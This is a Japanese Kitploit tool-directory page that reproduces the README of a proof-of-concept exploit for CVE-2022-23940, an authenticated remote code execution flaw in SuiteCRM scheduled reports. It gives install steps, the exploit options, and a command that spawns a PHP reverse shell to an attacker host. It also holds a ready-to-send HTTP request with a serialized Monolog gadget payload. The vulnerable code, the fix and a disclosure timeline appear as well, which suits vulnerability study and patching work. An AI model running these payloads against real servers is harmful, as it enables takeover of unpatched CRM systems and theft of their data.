Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-23940 — CVE-2022-23940 の PoC | Kitploit
ツール/GitHubGitHub/manuelz120/cve-2022-23940
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストペイロード開発
GitHubmanuelz120/cve-2022-23940

CVE-2022-23940

CVE-2022-23940 の PoC

リポジトリを見る
1471年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

CVE-2022-23940

CVE-2022-23940 の PoC(別名 SCRMBT-#187) - SuiteCRM(<= 7.12.4)および SuiteCRM-Core(<= 8.0.3)のスケジュールレポートを介した認証済みリモートコード実行。

この脆弱性は SalesAgility に報告され、SuiteCRM 7.12.5 および SuiteCRM Core 8.0.4 で修正されました。影響を受けるバージョンでは、スケジュールレポートを作成する権限を持つすべてのユーザーがリモートコード実行を達成し、サーバーを危険にさらす可能性があります。古いバージョンの SuiteCRM を使用している場合は、更新を強くお勧めします。

使用方法

インストール

  1. 最新版の python3 と pip がインストールされていることを確認してください。
  2. リポジトリをクローンします: git clone https://github.com/manuelz120/CVE-2022-23940.git
  3. 必要なライブラリをインストールします: pip3 install -r "requirements.txt"
  4. 楽しんでください :)

利用可能なオプション:

root@kitploit:~
(.venv) ➜  CVE-2022-23940 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]

Options:
  -h, --host TEXT        Root of SuiteCRM installation. Defaults to
                         http://localhost
  -u, --username TEXT    Username
  -p, --password TEXT    password
  -P, --payload TEXT     Shell command to be executed on target system
  -d, --is_core BOOLEAN  SuiteCRM Core (>= 8.0.0). Defaults to False
  --help                 Show this message and exit.

  https://github.com/manuelz120/CVE-2022-23940

使用例:

asciicast

root@kitploit:~
# Spawning a PHP Reverse shell to attacker-host on port 4444
./exploit.py -u user -p redacted --payload "php -r '\$sock=fsockopen(\"attacker-host\", 4444); exec(\"/bin/sh -i <&3 >&3 2>&3\");'"

解説

スケジュールレポートを作成できるユーザー(AOR_Scheduled_Reports モジュールにエントリを作成できるユーザー)は、PHP のデシリアライゼーション脆弱性を悪用して、サーバー上で任意のコードを実行できます。

AOR_Scheduled_Reports モジュールは、レポートのメール受信者をシリアライズされた base64 エンコード文字列としてデータベースに保存します。スケジュールレポートのデータを受け取ると、前述のカラムがデシリアライズされます。攻撃者がこのカラムに任意のコンテンツを挿入できる場合、さまざまな PHP デシリアライゼーションガジェットを使用して RCE を達成できます(私のテストでは、phpggc ツールの Monolog/RCE2 を使用しました)。

ペイロードは、AOR_Scheduled_Reports モジュールのレガシーな save 呼び出しを使用してデータベースに保存できます。サーバーは email_recipients パラメータが常に配列であると誤って想定しています。しかし、悪意のあるクライアントが email_recipients を文字列として渡すだけで、データはそのままデータベースに保存されます。デシリアライズされると、ガジェットがサーバー上で実行され、リモートコード実行が達成されます。

AOR_Scheduled_Reports クラスにおける save 関数の脆弱な実装。さらに下の方では、get_email_recipients がデータベースに保存されているコンテンツに対して unserialize を呼び出していることがわかります。

root@kitploit:~
// SuiteCRM-Core/public/legacy/modules/AOR_Scheduled_Reports/AOR_Scheduled_Reports.php

public function save($check_notify = false)
{
    if (isset($_POST['email_recipients']) && is_array($_POST['email_recipients'])) {
        $this->email_recipients = base64_encode(serialize($_POST['email_recipients']));
    }

    return parent::save($check_notify);
}

public function get_email_recipients()
{
    $params = unserialize(base64_decode($this->email_recipients));
    // ....

このような悪意のあるスケジュールレポートを作成するリクエストの例は次のとおりです(email_recipients の値をデコードすると、単純に touch /tmp/hacked を実行していることがわかります)。

root@kitploit:~
POST /index.php HTTP/1.1
Host: localhost
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Referer: http://localhost
content-type: application/x-www-form-urlencoded
Cookie: PHPSESSID=e7alkhdo7lrknc8a7l6v2rpanr; sugar_user_theme=SuiteP
Content-Length: 999

module=AOR_Scheduled_Reports&action=Save&name=test&status=active&schedule_type=monthly&email_recipients=YToyOntpOjc7TzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fWk6NztpOjc7fQ%3D%3D%0A

実装された修正

修正されたコードを見ると、開発者が新しい parseRecipients 関数を追加したことがわかります。この関数は、email_recipients パラメータに格納されたデータをデータベースに保存する前に解析および検証します。値が期待される形式に一致する場合のみ、データは保存されます。そのため、デシリアライゼーション RCE はもはや機能しません。

https://github.com/salesagility/SuiteCRM-Core/commit/63b969478d812d5ed937bf54fe5b174232e91a00#diff-0c100713e7e6c2c4c068cb4fe88342c6b0166cfcf06f57589120853a3f2ad2f2R205-R221

修正後コード

タイムライン

  • 24/01/2022: 脆弱性を発見し、SuiteCRM に報告
  • 25/01/2022: ベンダー(SalesAgility)が脆弱性を確認
  • 02/03/2022: 修正版のリリース(SuiteCRM 7.12.5 および SuiteCRM Core 8.0.4)

クレジット

  • phpggc
ツールをダウンロード